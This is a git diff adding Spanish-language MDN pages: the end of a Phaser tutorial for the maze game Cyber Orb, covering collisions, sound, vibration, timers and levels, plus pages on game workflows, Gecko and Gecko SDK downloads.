+        <span class="keyword token">this</span><span class="punctuation token">.</span>levels<span class="punctuation token">[</span>lvl<span class="number token">-2</span><span class="punctuation token">]</span><span class="punctuation token">.</span>visible <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>levels<span class="punctuation token">[</span>lvl<span class="number token">-1</span><span class="punctuation token">]</span><span class="punctuation token">.</span>visible <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Gracias a eso el juego da al jugador un reto: ahora tiene que rodar la pelota a través del área de juego y guiarla por el laberinto construido por bloques. Es solo un ejemplo de cargar los niveles, y solo hay 5 puramente para mostrar la idea, pero podés trabajar en expandirlo por tu cuenta.</p>
+
+<h4 id="Detección_de_colisión"><strong>Detección de colisión</strong></h4>
+
+<p>Hasta este punto tenemos la pelota, que puede ser controlada por el jugador, el agujero que se tiene que alcanzar y los obstáculos que bloquean el camino. <span style="line-height: 1.5;">Sin embargo, hay un problema: nuestro juego todavía no tiene ninguna detección de colisiones, así que no sucede nada cuando la pelota golpea los bloques, sólo los atraviesa. Vamos a arreglarlo! La buena noticia es que el <em>framework</em> se ocupará de calcular la detección de colisones, nosotros sólo debemos especificar los objetos con los que colisionará en la función <code>update()</code>:</span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>physics<span class="punctuation token">.</span>arcade<span class="punctuation token">.</span><span class="function token">collide</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>borderGroup<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>wallCollision<span class="punctuation token">,</span> <span class="keyword token">null</span><span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>physics<span class="punctuation token">.</span>arcade<span class="punctuation token">.</span><span class="function token">collide</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>levels<span class="punctuation token">[</span><span class="keyword token">this</span><span class="punctuation token">.</span>level<span class="number token">-1</span><span class="punctuation token">]</span><span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>wallCollision<span class="punctuation token">,</span> <span class="keyword token">null</span><span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Esto le dirá al <em>framework</em> que ejecute la función <code>wallCollision</code> cuando la pelota golpee cualquiera de las paredes. Podemos usar la función <code>wallCollision</code> para añadir cualquier funcionalidad que querramos, como por ejemplo agregar el sonido de rebote e implementar la <strong>API de Vibración</strong>.</p>
+
+<p><span style="line-height: 1.5;">También debemos volver al objeto pelota y limitarlo a moverse sólo en la zona visible, para que no salga de la pantalla. Hay una función muy útil en Phaser que se llama </span><code style="font-style: normal; line-height: 1.5;">collideWorldBounds</code><span style="line-height: 1.5;">:</span></p>
+
+<pre class="brush: js">ball.body.collideWorldBounds = true;</pre>
+
+<p>Hace exactamente lo que necesitamos: ahora la pelota rebotará en los bordes de la pantalla como de las paredes.</p>
+
+<h4 id="Añadiendo_el_sonido">Añadiendo el sonido</h4>
+
+<p>Entre los elementos precargados hay una pista de audio (en varios formatos para asegurar la compatibilidad con el navegador), que podremos usar ahora. Debe primero ser definida en la función <code>create()</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>bounceSound <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">audio</span><span class="punctuation token">(</span><span class="string token">'audio-bounce'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p><span class="punctuation token">Si el estado del audio es <code>true</code> (es decir que el sonido del juego está activado)</span> podremos reproducirlo en la función <code>wallCollision</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>audioStatus<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>bounceSound<span class="punctuation token">.</span><span class="function token">play</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Eso es todo: cargar y reproducir sonidos es sencillo con Phaser.</p>
+
+<h4 id="Implementando_la_API_de_Vibración">Implementando la API de Vibración</h4>
+
+<p>Cuando la detección de colisión funcione como es esperado, añadamos algunos efectos especiales con la ayuda de la API de Vibración.<img alt="" src="https://mdn.mozillademos.org/files/10371/cyber-orb-flame-vibration.png"></p>
+
+<p>La mejor forma de usarla en nuestro caso es haciendo que el teléfono vibre cada vez que la pelota golpee las paredes: dentro de la función <code>wallCollision</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">if</span><span class="punctuation token">(</span><span class="string token">"vibrate"</span> <span class="keyword token">in</span> window<span class="punctuation token">.</span>navigator<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    window<span class="punctuation token">.</span>navigator<span class="punctuation token">.</span><span class="function token">vibrate</span><span class="punctuation token">(</span><span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p><span class="punctuation token">Si el método <code>vibrate</code> es soportado por el navegador y está disponible en el objeto <code>window.navigator</code>, hará vibrar al telefono por 100 milisegundos. Eso es todo!</span></p>
+
+<h4 id="Añadiendo_el_tiempo_transcurrido">Añadiendo el tiempo transcurrido</h4>
+
+<p>Para mejorar la re-jugabilidad y dar a los jugadores la opción de competir entre ellos, almacenaremos el tiempo transcurrido: los jugadores entonces intentaran mejorar su tiempo de finalizacion. Para implementar esto en el juego tenemos que crear una variable para almacenar el número actual de segundos transcurrido desde el inicio del juego y mostrarselo al jugador durante el juego. Definamos primero las variables en la función <code>create</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>timer <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> <span class="comment token">// time elapsed in the current level</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>totalTimer <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> <span class="comment token">// time elapsed in the whole game</span></code></pre>
+
+<p>Luego, podemos inicializar los objetos de texto necesarios para mostrar la información al usuario:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>timerText <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">text</span><span class="punctuation token">(</span><span class="number token">15</span><span class="punctuation token">,</span> <span class="number token">15</span><span class="punctuation token">,</span> <span class="string token">"Time: "</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>timer<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>fontBig<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">this</span><span class="punctuation token">.</span>totalTimeText <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>add<span class="punctuation token">.</span><span class="function token">text</span><span class="punctuation token">(</span><span class="number token">120</span><span class="punctuation token">,</span> <span class="number token">30</span><span class="punctuation token">,</span> <span class="string token">"Total time: "</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>totalTimer<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>fontSmall<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Estamos definiendo la posición superior e izquierda del texto, el contenido que se muestra y el estilo aplicado al texto. Lo hemos impreso en pantalla, pero sería bueno actualizar los valores cada segundo:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>time<span class="punctuation token">.</span>events<span class="punctuation token">.</span><span class="function token">loop</span><span class="punctuation token">(</span>Phaser<span class="punctuation token">.</span>Timer<span class="punctuation token">.</span>SECOND<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>updateCounter<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Este bucle, también en la función <code>create</code>, ejecutará la función <code>updateCounter</code> cada segundo desde el comienzo del juego, así podemos aplicar los cambios acordes. Así es como se ve la función <code>updateCounter</code> completa:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">updateCounter<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>timer<span class="operator token">++</span><span class="punctuation token">;</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>timerText<span class="punctuation token">.</span><span class="function token">setText</span><span class="punctuation token">(</span><span class="string token">"Time: "</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>timer<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>totalTimeText<span class="punctuation token">.</span><span class="function token">setText</span><span class="punctuation token">(</span><span class="string token">"Total time: "</span><span class="operator token">+</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>totalTimer<span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>timer<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span></code></pre>
+
+<p>Como puedes ver estamos incrementando la variable <code>this.timer</code> y actualizando el contenido del objeto de texto con el valor actual en cada iteración, por lo que el jugador verá el tiempo transcurrido.</p>
+
+<h4 id="Terminando_el_nivel_y_el_juego">Terminando el nivel y el juego</h4>
+
+<p>La pelota está rodando en la pantalla, el temporizador funciona y tenemos el agujero al que tenemos que llegar. Vamos a configurar la posibilidad de finalizar el juego! La siguiente linea en la funcion <code>update()</code> añade un detector que se activa cuando la pelota llega al agujero.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">this</span><span class="punctuation token">.</span>physics<span class="punctuation token">.</span>arcade<span class="punctuation token">.</span><span class="function token">overlap</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>hole<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>finishLevel<span class="punctuation token">,</span> <span class="keyword token">null</span><span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Esto funciona de manera similar al método <code>colide</code> explicado anteriormente. Cuando la pelota se superpone con el agujero (en lugar de colisionar), la función <code>finishLevel</code> es ejecutada:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">finishLevel<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>level <span class="operator token">&gt;=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>maxLevels<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>totalTimer <span class="operator token">+</span><span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>timer<span class="punctuation token">;</span>
+        <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">'Congratulations, game completed!\nTotal time of play: '</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>totalTimer<span class="operator token">+</span><span class="string token">' seconds!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>game<span class="punctuation token">.</span>state<span class="punctuation token">.</span><span class="function token">start</span><span class="punctuation token">(</span><span class="string token">'MainMenu'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">else</span> <span class="punctuation token">{</span>
+        <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">'Congratulations, level '</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>level<span class="operator token">+</span><span class="string token">' completed!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>totalTimer <span class="operator token">+</span><span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>timer<span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>timer <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>level<span class="operator token">++</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>timerText<span class="punctuation token">.</span><span class="function token">setText</span><span class="punctuation token">(</span><span class="string token">"Time: "</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>timer<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>totalTimeText<span class="punctuation token">.</span><span class="function token">setText</span><span class="punctuation token">(</span><span class="string token">"Total time: "</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>totalTimer<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>levelText<span class="punctuation token">.</span><span class="function token">setText</span><span class="punctuation token">(</span><span class="string token">"Level: "</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>level<span class="operator token">+</span><span class="string token">" / "</span><span class="operator token">+</span><span class="keyword token">this</span><span class="punctuation token">.</span>maxLevels<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>x <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>ballStartPos<span class="punctuation token">.</span>x<span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>y <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>ballStartPos<span class="punctuation token">.</span>y<span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>velocity<span class="punctuation token">.</span>x <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span>ball<span class="punctuation token">.</span>body<span class="punctuation token">.</span>velocity<span class="punctuation token">.</span>y <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+        <span class="keyword token">this</span><span class="punctuation token">.</span><span class="function token">showLevel</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span></code></pre>
+
+<p>Si el nivel actual es igual al maximo número de niveles (5, en este caso), entonces el juego termina: recibiras un mensaje de felicitación junto con el numero de segundas transcurridos durante todo el juego, y un botoón para presionar que te llevará al menú principal.</p>
+
+<p>Si el nivel actual es menor que 5, todas las variables necesarias se reinician y el siguiente nivel es cargado.</p>
+
+<h2 id="Ideas_para_nuevas_características">Ideas para nuevas características</h2>
+
+<p><span style="line-height: 1.5;">Esto no es más que una demostración funcional de un juego que podría tener un montón de características adicionales. Por ejemplo podemos añadir poderes para recoger en el camino que harán que nuestra pelota ruede más rápido, otro podría detener el temporizador durante unos segundos o dar la pelota poderes especiales para atravesar obstáculos. También hay espacio para los obstáculos y trampas que harán más lenta la pelota, acelerar el tiempo o trampas de la propia pelota. Puedes crear más niveles con dificultades diferentes para cada uno. Incluso puedes obtener logros, tablas de clasificación y medallas para diferentes acciones en el juego. Hay un sinfín de posibilidades: sólo dependen de tu imaginación.</span></p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Espero que este tutorial te ayude a introducirte dentro del desarrollo de los juegos 2D y te inspire a crear asombrosos juegos por tu cuenta. Puedes jugar el demo de Cyber Orb y chequear su código fuente en GitHub.</p>
+
+<p>HTML5 nos da herramientas en bruto, los <em>frameworks</em> construidos sobre estas se están volviendo más rápidos y mejores, por lo que ahora es un gran momento para meterse en el desarrollo de juegos web. En este tutorial usamos Phaser, pero hay un gran número de otros <em>frameworks</em> que vale la pena considerar también, como ImpactJS, Construct 2 o PlayCanvas — depende de tus preferencias, habilidades de programación (o la falta de estas), el tamaño de tu proyecto, los requerimientos y otros aspectos. Deberías chequearlos todos y decidir cual es el que mejor se ajusta a tus necesidades.</p>
diff --git a/files/es/games/workflows/index.html b/files/es/games/workflows/index.html
new file mode 100644
index 0000000000..3a0807cc77
--- /dev/null
+++ b/files/es/games/workflows/index.html
@@ -0,0 +1,10 @@
+---
+title: Workflows for different game types
+slug: Games/Workflows
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Games/Tutorials
+---
+<div>{{GamesSidebar}}</div><p>This page will contain links to different article series covering different workflows for effectively creating different types of web games, whether you want to create a 2D or 3D game from scratch, or port a C++ or Flash game over to open web technologies.</p>
+<p>For example, a <a href="/en-US/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation">2D maze game with Phaser and the Device Orientation API</a>.</p>
diff --git a/files/es/gecko/index.html b/files/es/gecko/index.html
new file mode 100644
index 0000000000..b6ef98f950
--- /dev/null
+++ b/files/es/gecko/index.html
@@ -0,0 +1,25 @@
+---
+title: Gecko
+slug: Gecko
+tags:
+  - Gecko
+translation_of: Mozilla/Gecko
+---
+<p><img align="right"> <b>Gecko</b> es el nombre del motor de presentación desarrollado por la Fundación Mozilla. En un principio se llamó NGLayout.</p>
+<p>La función de Gecko es leer el contenido de la web, tanto <a href="es/HTML">HTML</a>, <a href="es/CSS">CSS</a>, <a href="es/XUL">XUL</a>, como <a href="es/JavaScript">JavaScript</a>, y presentarlo en pantalla o imprimirlo.</p>
+<p>Gecko es usado en varias aplicaciones, incluyendo unos pocos navegadores, como Firefox, Seamonkey(ex Mozilla Suite), Camino, etc. (Para una lista completa, por favor diríjase al <a class="external" href="http://es.wikipedia.org/wiki/Gecko_%28motor_de_navegaci%C3%B3n%29">artículo en Wikipedia sobre Gecko</a>.) Los productos que usan la misma versión de Gecko tienen el mismo soporte de estándares.</p>
+<h3 id="Versiones_de_Gecko" name="Versiones_de_Gecko">Versiones de Gecko</h3>
+<p><span class="comment">we should make a table here</span></p>
+<ul>
+ <li>Gecko 1.8 - <a href="es/Firefox_1.5">Firefox 1.5</a>, Thunderbird 1.5, SeaMonkey 1.0</li>
+ <li>Gecko 1.7 - Firefox/Thunderbird/Nvu 1.0, Mozilla Suite 1.7</li>
+ <li>Las más antiguas de Gecko las podemos encontrar en versiones de Mozilla Suite.</li>
+</ul>
+<h3 id="Recursos" name="Recursos">Recursos</h3>
+<ul>
+ <li><a class="external" href="http://www.mozilla.org/newlayout/">Página del proyecto Gecko</a>.</li>
+ <li><a href="es/Manual_de_Compatibilidad_de_Gecko">Manual de Compatibilidad de Gecko</a></li>
+ <li><a href="es/Cadenas_del_User_Agent_de_Gecko">Cadenas del User Agent de Gecko</a></li>
+ <li><a href="es/Incrustando_Mozilla">Incrustando Gecko</a></li>
+</ul>
+<p>{{ languages( { "de": "de/Gecko", "en": "en/Gecko", "fr": "fr/Gecko", "it": "it/Gecko", "ja": "ja/Gecko", "ko": "ko/Gecko", "pl": "pl/Gecko", "pt": "pt/Gecko", "zh-cn": "cn/Gecko" } ) }}</p>
diff --git a/files/es/gecko_sdk/index.html b/files/es/gecko_sdk/index.html
new file mode 100644
index 0000000000..ec633e890a
--- /dev/null
+++ b/files/es/gecko_sdk/index.html
@@ -0,0 +1,117 @@
+---
+title: Gecko SDK
+slug: Gecko_SDK
+translation_of: Mozilla/Gecko/Gecko_SDK
+---
+<div style="text-align: justify;">
+  <p>El Gecko SDK, también conocido como el XULRunner SDK, es un conjunto de archivos <a href="/es/XPIDL" title="es/XPIDL">XPIDL</a>, cabeceras y herramientas para desarrollar componentes <a href="/es/XPCOM" title="es/XPCOM">XPCOM</a> que a su vez pueden por ejemplo ser accedidos desde <a href="/es/XUL" title="es/XUL">XUL</a> usando <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a>.</p>
+  <p>Debe tenerse en cuenta que para desarrollar estos componentes, no es necesario todo el codigo fuente de por ejemplo Firefox, puesto que no es requerido el acceso a los elementos de la capa visual creando un componente. Por otra parte, ya que un componente solo contiene funcionalidades básicas, debería poder ejecutarse en cualquier producto  de la plataforma Mozilla. Por tanto no es necesario contar con un producto particular para construir las funcionalidades generales. Esta es la premisa sobre la que el Gecko SDK fue ideado.</p>
+  <p>No debe confundirse el Gecko/XULRunner SDK con el <a href="/es/XULRunner" title="es/XULRunner">XULRunner</a> en sí mismo. El Gecko SDK es una colección de archivos de cabeceras (headers) y herramientas usadas para el desarrollo general de componentes XPCOM que agregan funcionalidades a la plataforma existente, mientras que el XULRunner es un esquema de funcionalidades (framework) donde puede ser utilizado para ejecutarse independientemente (standalone) o embebido en aplicaciones basadas en el framework Mozilla.</p>
+  <p>El Gecko SDK contiene todas las herramientas y cabeceras necesarias para crear <em>plugins scripts NPAPI</em> incluyendo el compilador/enlazador <em>xpidl</em> y el último <em><code>npapi.h</code></em>.</p>
+  <h2 id="Obteniendo_el_SDK" name="Obteniendo_el_SDK">Obteniendo el SDK</h2>
+  <h3 id="Actualizaciones" name="Actualizaciones">Actualizaciones</h3>
+  <p>No es necesario descargar o recompilar el Gecko SDK por las actualizaciones de seguridad de Mozilla (por ejemplo, Mozilla 1.7.3) ya que las cabeceras y las librerías enlazadas en el Gecko SDK usualmente no sufren cambios como resultados de las actualizaciones de seguridad. Sin embargo, uno debe obtener y distribuir siempre los más nuevos componentes Gecko (como: gklayout.dll, etc.).</p>
+  <h3 id="Descargas" name="Descargas">Descargas</h3>
+  <p>Para versiones de Gecko anteriores a 2.0, deberá elegir la versión del Gecko SDK para la versión de Mozilla más cercana al utilizado. Para versiones de Gecko 2.0 o superior, deberá recompilar el componente para cada versión pues ya no está soportada la compatibilidad entre versiones.</p>
+  <p><span id="result_box" lang="es"><span class="hps">Además de la</span> continuidad de <span class="hps">las versiones</span><span>,</span> </span><span id="result_box" lang="es"> <span class="hps">aquí</span><span> </span></span><span id="result_box" lang="es"><span class="hps">se pueden encontrar otras</span> <span class="hps atn">versiones (</span><span>incluyendo</span> <span class="hps">Beta)</span><span>:</span></span> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/">Versiones de Xulrunner</a><span id="result_box" lang="es"> <span class="hps">(archivos</span> <span class="hps">incluyen</span> <span class="hps atn">"</span><span>sdk</span><span>"</span> <span class="hps">en el nombre)</span><span>.</span> <span class="hps">El</span> <span class="hps">SDK</span> <span class="hps">sigue el mismo</span></span> <a class="link-https" href="https://wiki.mozilla.org/Releases" title="https://wiki.mozilla.org/Releases">calendario de liberaciones</a><span id="result_box" lang="es"> que <span class="hps">Firefox/</span><span class="hps">Thunderbird.</span> <span class="hps">Una vez que</span> </span><span id="result_box" lang="es"><span class="hps">el</span> <span class="hps">SDK</span></span><span id="result_box" lang="es"> se vuelve <span class="hps">Beta</span><span>, está listo</span> <span class="hps">para la construir las</span> <span class="hps">extensiones</span><span>,</span> tu<span class="hps"> componente</span> <span class="hps">debe trabajar con</span> <span class="hps">las versiones de lanzamiento</span> <span class="hps">del</span> <span class="hps">SDK</span> <span class="hps">sin ninguna modificación.</span> <span class="hps">Debido al proceso</span> <span class="hps">de </span></span><a class="link-https" href="https://wiki.mozilla.org/RapidRelease#Overview" title="https://wiki.mozilla.org/RapidRelease#Overview">Liberación Rapida</a><span id="result_box" lang="es"><span class="hps"> lanzamiento rápido</span><span>, puede ser</span> <span class="hps">una buena</span> <span class="hps">idea</span> <span class="hps">agregar el</span> <span class="hps">SDK</span> <span class="hps">en los Beta</span><span>.</span></span></p>
+  <table class="standard-table">
+    <tbody>
+      <tr>
+        <th>Enlace de Descarga</th>
+        <th>Gecko 20.0 (Firefox 20.0)</th>
+        <th>Gecko 1.9.2 (Firefox 3.6)</th>
+        <th>Gecko 1.9.1 (Firefox 3.5)</th>
+        <th>Gecko 1.9 (Firefox 3.0)</th>
+        <th>Gecko 1.8 (Firefox 1.5 and 2.0)</th>
+      </tr>
+      <tr>
+        <th>Windows</th>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/20.0/sdk/xulrunner-20.0.en-US.win32.sdk.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.win32.sdk.zip">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.win32.sdk.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.win32.sdk.zip">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.win32.sdk.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.win32.sdk.zip">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.win32.sdk.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.win32.sdk.zip">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-win32-msvc-1.8.0.4.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-win32-msvc-1.8.0.4.zip">Descargar</a></td>
+      </tr>
+      <tr>
+        <th>Mac x86_64</th>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/20.0/sdk/xulrunner-20.0.en-US.mac-x86_64.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.mac-x86_64.sdk.tar.bz2">Descargar</a></td>
+        <td>N/A</td>
+        <td>N/A</td>
+        <td>N/A</td>
+        <td>N/A</td>
+      </tr>
+      <tr>
+        <th>Mac i386</th>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/20.0/sdk/xulrunner-20.0.en-US.mac-i386.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.mac-i386.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-i386.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-i386.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-i386.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-i386.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-i386.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-i386.sdk.tar.bz2">Descargar</a></td>
+        <td>N/A</td>
+      </tr>
+      <tr>
+        <th>Mac ppc</th>
+        <td>N/A</td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-powerpc.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-powerpc.sdk.tar.bz2">Descargar</a></td>
+        <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-powerpc.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-powerpc.sdk.tar.bz2">Descargar</a></td>
